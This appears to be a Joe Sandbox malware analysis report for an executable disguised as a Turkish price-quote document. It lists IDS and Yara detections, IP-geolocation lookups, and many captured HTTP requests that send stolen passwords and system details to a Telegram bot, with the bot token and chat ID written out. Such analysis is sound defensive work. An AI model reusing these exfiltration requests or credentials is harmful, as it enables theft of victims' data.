Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62580 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62581 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62791 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62557 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62565 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62556 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62571 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62585 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62567 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62540 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:62582 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 4.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3e2dd68.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.3d526b0.1.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.6:62485 -> 162.159.36.2:53

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:045012%0D%0ADate%20and%20Time:%2006/01/2025%20/%2019:42:00%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20045012%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd2ee5cc25f03bHost: api.telegram.orgContent-Length: 584
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd2fd6ddc41eacHost: api.telegram.orgContent-Length: 584
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd2fe29bc3fc77Host: api.telegram.orgContent-Length: 584Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd2ff4d4fd9a94Host: api.telegram.orgContent-Length: 584
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd300085fe93a9Host: api.telegram.orgContent-Length: 584Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd300ec9fa6eb5Host: api.telegram.orgContent-Length: 584
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd301bbb3fe9adHost: api.telegram.orgContent-Length: 584Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd302b3c9ecbedHost: api.telegram.orgContent-Length: 584
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd30396bf011cfHost: api.telegram.orgContent-Length: 584Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd304a27896220Host: api.telegram.orgContent-Length: 584
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd305ad978cf93Host: api.telegram.orgContent-Length: 584Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd306a3c0d4f7cHost: api.telegram.orgContent-Length: 584
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd3087a61bdc66Host: api.telegram.orgContent-Length: 584Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd309ac7fa304cHost: api.telegram.orgContent-Length: 584
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd30ab56502decHost: api.telegram.orgContent-Length: 584Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd30bbdb1cf78cHost: api.telegram.orgContent-Length: 584
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd30cee2270ffbHost: api.telegram.orgContent-Length: 584Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd30e1dfba5f92Host: api.telegram.orgContent-Length: 584
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd30f3918b5ad8Host: api.telegram.orgContent-Length: 584Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd315331d7c9f7Host: api.telegram.orgContent-Length: 584
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd3169bcd41786Host: api.telegram.orgContent-Length: 584Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd3187beb604e5Host: api.telegram.orgContent-Length: 584
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd31a831dd7eb7Host: api.telegram.orgContent-Length: 584Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd31bfdb4c9cd4Host: api.telegram.orgContent-Length: 584Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd31e664d741a3Host: api.telegram.orgContent-Length: 584
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd320b9c43ef54Host: api.telegram.orgContent-Length: 584Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd322a8ed9f692Host: api.telegram.orgContent-Length: 584
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd340ce74b314eHost: api.telegram.orgContent-Length: 584Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd345db2413422Host: api.telegram.orgContent-Length: 584
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd349aad96cd9fHost: api.telegram.orgContent-Length: 584Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd34ddb1b85aa9Host: api.telegram.orgContent-Length: 584
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd352304c0fab9Host: api.telegram.orgContent-Length: 584Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd3567f9ff4870Host: api.telegram.orgContent-Length: 584
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd35b5833a1185Host: api.telegram.orgContent-Length: 584Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd3602cc695e42Host: api.telegram.orgContent-Length: 584
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd3649aa500683Host: api.telegram.orgContent-Length: 584Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd369091cc45dbHost: api.telegram.orgContent-Length: 584
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd36e6e7e4e3a7Host: api.telegram.orgContent-Length: 584Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd3710a584599eHost: api.telegram.orgContent-Length: 584
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd3764ffccd6fcHost: api.telegram.orgContent-Length: 584Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd37b98652dd29Host: api.telegram.orgContent-Length: 584
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd37f41f8fb465Host: api.telegram.orgContent-Length: 584Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd3989bbd5cc9fHost: api.telegram.orgContent-Length: 584
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd3a06fbc20179Host: api.telegram.orgContent-Length: 584Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd3a4a2e21a650Host: api.telegram.orgContent-Length: 584Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd3bb5b704b3d1Host: api.telegram.orgContent-Length: 584
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dde22ff969cdc2Host: api.telegram.orgContent-Length: 584Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------9037e9d1554691dHost: api.telegram.orgContent-Length: 584Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd2e2843e294c3Host: api.telegram.orgContent-Length: 584

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 158.101.44.242 158.101.44.242

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49717 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49712 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49721 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49716 -> 188.114.96.3:443

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49713 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
